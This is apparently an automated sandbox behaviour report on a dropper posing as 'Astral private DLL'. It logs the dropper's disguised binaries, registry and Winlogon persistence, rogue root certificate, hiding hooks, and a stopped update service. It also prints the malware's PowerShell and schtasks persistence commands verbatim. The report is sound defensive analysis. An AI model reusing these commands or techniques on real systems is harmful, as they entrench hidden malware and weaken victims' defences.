Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Directory created: C:\Program Files\Windows Defender\Platform\sihost.exe			Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Directory created: C:\Program Files\Windows Defender\Platform\66fc9ff0ee96c2			Jump to behavior

Source: AstralprivateDLL.exe.bin.exe

Static file information: File size 68917713 > 1048576

Source: AstralprivateDLL.exe.bin.exe

Static PE information: Raw size of VyCxe is bigger than: 0x100000 < 0x72bc00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe

Unpacked PE file: 0.2.AstralprivateDLL.exe.bin.exe.400000.0.unpack 0:EW;VyCxe:EW;.rsrc:W; vs 0:ER;VyCxe:ER;.rsrc:W;

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }			Jump to behavior

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline"
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline"			Jump to behavior

Source: initial sample

Static PE information: section where entry point is pointing to: VyCxe

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

File created: C:\containerperf\__tmp_rar_sfx_access_check_6265906

Jump to behavior

Source: updater.exe.2.dr	Static PE information: real checksum: 0x5b8dd9 should be: 0x5ca755
Source: twain_32.exe.0.dr	Static PE information: real checksum: 0x5b8dd9 should be: 0x5ca755
Source: SecurityHealthSystray.exe.42.dr	Static PE information: real checksum: 0x0 should be: 0x7332
Source: bcapgbqjwdsj.tmp.2.dr	Static PE information: real checksum: 0x0 should be: 0x342e8

Source: AstralprivateDLL.exe.bin.exe	Static PE information: section name: 0
Source: AstralprivateDLL.exe.bin.exe	Static PE information: section name: VyCxe
Source: Astral private DLL.exe.0.dr	Static PE information: section name: .didat
Source: twain_32.exe.0.dr	Static PE information: section name: .xdata
Source: updater.exe.2.dr	Static PE information: section name: .xdata

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0017F640 push ecx; ret	1_2_0017F653
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0017EB78 push eax; ret	1_2_0017EB96
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B345284FD push rcx; retf 003Fh	2_2_0000024B345284FE
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B345222B8 push rdx; retf	2_2_0000024B345222B9
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B345694FD push rcx; retf 003Fh	2_2_0000024B345694FE
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216AAA822B8 push rdx; retf	8_2_00000216AAA822B9
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216AAA884FD push rcx; retf 003Fh	8_2_00000216AAA884FE
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFE94FD push rcx; retf 003Fh	8_2_00000216ACFE94FE
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFD22B8 push rdx; retf	13_2_1AFD22B9
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFD84FD push rcx; retf 003Fh	13_2_1AFD84FE
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_00007FFD9BAC536A push ecx; ret	13_2_00007FFD9BAC5376
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_00007FFD9BAC560D pushad ; ret	13_2_00007FFD9BAC5612
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_00007FFD9BAC2C70 pushad ; ret	13_2_00007FFD9BAC2C75
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_00007FFD9BAC00BD pushad ; iretd	13_2_00007FFD9BAC00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9B99D2A5 pushad ; iretd	21_2_00007FFD9B99D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BAB7B8A push eax; ret	21_2_00007FFD9BAB7B99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BAB3A79 pushad ; ret	21_2_00007FFD9BAB3AC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BAB3A36 pushad ; ret	21_2_00007FFD9BAB3AC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BAB00BD pushad ; iretd	21_2_00007FFD9BAB00C1
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE784FD push rcx; retf 003Fh	22_2_0000013ACAE784FE
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE722B8 push rdx; retf	22_2_0000013ACAE722B9
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAEA94FD push rcx; retf 003Fh	22_2_0000013ACAEA94FE
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC6222B8 push rdx; retf	27_2_00000225DC6222B9
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC6284FD push rcx; retf 003Fh	27_2_00000225DC6284FE
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC6594FD push rcx; retf 003Fh	27_2_00000225DC6594FE
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AC22B8 push rdx; retf	28_2_00000202C0AC22B9
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AC84FD push rcx; retf 003Fh	28_2_00000202C0AC84FE
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AF94FD push rcx; retf 003Fh	28_2_00000202C0AF94FE
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6612E22B8 push rdx; retf	30_2_000002A6612E22B9
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6612E84FD push rcx; retf 003Fh	30_2_000002A6612E84FE
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6613194FD push rcx; retf 003Fh	30_2_000002A6613194FE

Source: ServerComponenthostMonitorDll.exe.1.dr	Static PE information: section name: .text entropy: 7.577362428159145
Source: WmiPrvSE.exe.13.dr	Static PE information: section name: .text entropy: 7.577362428159145
Source: WmiPrvSE.exe0.13.dr	Static PE information: section name: .text entropy: 7.577362428159145
Source: sihost.exe.13.dr	Static PE information: section name: .text entropy: 7.577362428159145
Source: lsass.exe.13.dr	Static PE information: section name: .text entropy: 7.577362428159145
Source: powershell.exe.13.dr	Static PE information: section name: .text entropy: 7.577362428159145

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\containerperf\ServerComponenthostMonitorDll.exe

File created: C:\containerperf\lsass.exe

Jump to dropped file

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\IbBZTfZC.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Program Files\Windows Defender\Platform\sihost.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\nWKkNNTp.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	File created: C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	File created: C:\Program Files\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\containerperf\lsass.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	File created: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\en-GB\WmiPrvSE.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\AvUrEmYP.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\gYWllyYA.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\OMvfRcDl.log	Jump to dropped file
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	File created: C:\Users\user\AppData\Local\Temp\twain_32.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\containerperf\WmiPrvSE.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\QWRgRujm.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\appcompat\powershell.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\qHqBUadh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	File created: C:\containerperf\ServerComponenthostMonitorDll.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\en-GB\WmiPrvSE.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\appcompat\powershell.exe	Jump to dropped file

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\IbBZTfZC.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\AvUrEmYP.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\qHqBUadh.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\gYWllyYA.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\QWRgRujm.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\OMvfRcDl.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Users\user\Desktop\nWKkNNTp.log	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\containerperf\ServerComponenthostMonitorDll.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell "C:\Windows\appcompat\powershell.exe"			Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell "C:\Windows\appcompat\powershell.exe"			Jump to behavior

Creates multiple autostart registry keys

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ServerComponenthostMonitorDll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sihost	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass	Jump to behavior

Uses Register-ScheduledTask to add task schedules

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\lsass.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\containerperf\lsass.exe'" /rl HIGHEST /f

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\System32\Tasks\lsassl

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run powershell	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sihost	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sihost	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ServerComponenthostMonitorDll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ServerComponenthostMonitorDll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ServerComponenthostMonitorDll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ServerComponenthostMonitorDll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\BCAPGBQJWDSJ.TMP

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\lsass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
